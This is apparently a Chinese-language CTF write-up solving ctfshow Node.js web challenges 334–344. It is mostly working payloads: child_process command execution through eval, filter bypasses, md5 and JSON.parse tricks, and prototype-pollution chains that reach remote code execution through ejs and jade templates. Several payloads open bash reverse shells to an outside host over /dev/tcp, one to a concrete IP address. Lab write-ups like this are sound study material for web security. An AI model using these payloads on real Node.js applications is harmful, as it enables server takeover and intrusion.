Ctfshow nodejs

Ctfshow nodejs

  • web334(特性)
  • web335(特性)
  • web336(特性)
  • web337(特性)
  • web338(原型链污染)
  • web339(原型链污染)
  • web340(原型链污染)
  • web 341(ejs)
  • web342(jade)
  • web343(jade)
  • web344(特性)

web334(特性)

login.js

var express = require('express');

var router = express.Router();

var users = require('../modules/user').items;

var findUser = function(name, password){

 return users.find(function(item){

  return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

 });

};

/* GET home page. */

router.post('/', function(req, res, next) {

 res.type('html');

 var flag='flag_here';

 var sess = req.session;

 var user = findUser(req.body.username, req.body.password); 

 if(user){

  req.session.regenerate(function(err) {

   if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});     

   }

​    
   req.session.loginUser = user.username;
   res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});        

  });

 }else{

  res.json({ret_code: 1, ret_msg: '账号或密码错误'});

 }  
});
module.exports = router;

user.js

module.exports = {

 items: [

  {username: 'CTFSHOW', password: '123456'}

 ]
}

可以看到user.js文件中账号密码都已经给出,我们需要login文件中的判断语句为true

 return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

我们需要 name的值为 大写的 ‘CTFSHOW’,又要不等于’CTFSHOW’,我们需要利用toUpperCase()方法的特性

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
字符İ会转变为i,字符K会转变为k。

payload:

username:'ctfſhow'

password: '123456'

Ctfshow nodejs_第1张图片

web335(特性)

execSync是child_process库里用于执行系统命令的一个方法,参数直接是命令

require('child_process').execSync('cat f*').toString()

spawnSync是child_process库里另一个执行系统命令的方法,与上一个方法不同的是,该方法命令和参数是分离的

require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()

web336(特性)

?eval=var a=require('chil'+'d_pro'+'cess');a['ex'+'ecSync']('cat f*')

这里使用了声明变量拼接绕过,类似于python的模板注入和RCE里的拼接绕过

web337(特性)

题目源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;

  if (a && b && a.length === b.length && a !== b && md5(a + flag) === md5(b + flag)) {
    res.end(flag);
  } else {
    res.render('index', { msg: 'tql' });
  }
});

module.exports = router;

这里要满足以下条件语句

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  res.end(flag);
}

需要传入a与b参数,并且它俩的长度要相等,但变量自身不相等,而且它俩和flag拼接到一起后经md5加密的结果也要相等

payload1

?a[0]=1&b[0]=1

这里是传入数组,数组中都只有一个成员故length相等,我理解的是由于不是同一个数组所以两数组也不等,然后md5加密后的结果相等的原因,应该就是数组里的成员是相同的,故加密结果相同

payload2

?a[x]=1&b[x]=2

这里存入的是对象形式,在JavaScript中对象可以当做键值对的容器,类似于python里的字典,然后对象并不具有length属性,故返回为空,从而空空强等于,然后两个对象的成员不同,故不等于

然后加入以拼接的形式输出对象本身的话,只会打印出**[object Object]**这一字符串,并不会打印出成员,如图所示
Ctfshow nodejs_第2张图片

故这两个对象拼接flag变量后经md5加密相等

web338(原型链污染)

看题目代码关键部分

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  } 
});

看代码,只要让secert.ctfshow==='36dboy’就能输出flag。最主要的漏洞代码还是copy的一个递归调用函数

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

它会for循环遍历object2中的键,如果这个键名在object1和object2中都存在,那么就调用copy函数,否则将object2的key赋值给object1。我们可以控制object2,如果object2中的key设置为_proto_,就可以原型链污染了。我们将object2赋值为

{"__proto__":{"ctfshow":"36dboy"}}

我们想让__proto__为键名就必须要json语法格式,不然的话,__proto__就会识别为原型而不是键名,所以在key遍历时也只有ctfshow这个键名了。

web339(原型链污染)

一个demo

function copy(object1, object2){
   for (let key in object2) {
       if (key in object2 && key in object1) {
           copy(object1[key], object2[key])
       } else {
           object1[key] = object2[key]
       }
   }
 }
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);

运行上面的方法会发现query有了新的值

当变量没有被声明或引用赋值时,便会去上一级Object对象中查找该变量的值

payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}
}}

web340(原型链污染)

题目关键部分源码

//app.js
router.post('/', require('body-parser').json(),function(req, res, next) {
 res.type('html');
 res.render('api', { query: Function(query)(query)});
});
 //login.js
var user = new function(){
  this.userinfo = new function(){
  this.isVIP = false;
  this.isAdmin = false;
  this.isAuthor = false;   
  };
 }
 utils.copy(user.userinfo,req.body);

//这次的目标数组需要往上两层才可以污染到object

和上一题相同都需要利用定义函数的构造函数Function来反弹shell,payload

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}

web 341(ejs)

这道题没了上面可以执行命令的语句,要用到 ejs 模板引擎的RCE漏洞,这个漏洞也是上面几个题的通解(漏洞详细)

重点在ejs库中框起来的这几行
Ctfshow nodejs_第3张图片

可以看到, opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined,这样在 574 行时,if 判否,跳过

但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE

在该题目中需要向上两层才能污染到object

payload

{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"');var _llama2"}}}

web342(jade)

该题是jade模板引擎的RCE漏洞(漏洞详细)

payload

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}

//同样是向上污染两级

POST发包访问login路由(注意添加红色框内请求头),然后再次随便发一下包即可反弹shell
Ctfshow nodejs_第4张图片

web343(jade)

payload

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}

//同样是向上污染两级

操作和知识点和上一题相同

web344(特性)

题目源码

router.get('/', function(req, res, next) {
    res.type('html');
    var flag = 'flag_here';
  
    if (req.url.match(/8c|2c|\,/ig)) {
        res.end('where is flag :)');
    }
  
    var query = JSON.parse(req.query.query);
  
    if (query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true) {
        res.end(flag);
    }
    else {
        res.end('where is flag. :)');
    }
});

经分析满足该if语句即可得到flag

query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true

可以看出我们传一个符合条件的JSON数据即可,但是该正则将逗号及其相应的URL编码都给禁了

if (req.url.match(/8c|2c|\,/ig)) {
    res.end('where is flag :)');
}

这是我们要处理的payload,要让其没有逗号

?query={"name":"admin","password":"ctfshow","isVIP":true}

这里要说一个特性,JSON.parse()函数在处理数组时会把数组里的成员都用逗号拼接成一整个字符串,然后进行解析

例如

var a = ['{"name":"admin"','"password":"ctfshow"}'];
var query = JSON.parse(a);
console.log(query);

//拼接为['{"name":"admin","password":"ctfshow"}']

输出

{ name: 'admin', password: 'ctfshow' }

所以我们的payload要分开传参,构成数组,以此来绕过逗号,payload为

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

//这里ctfshow写为%63tfshow的目的是前面的双引号经过URL编码后为 %22 然后和字母c组成 2c 被正则过滤,所以要对字母f进行URL编码

你可能感兴趣的:(web安全,CTF,安全,网络,web安全,node.js)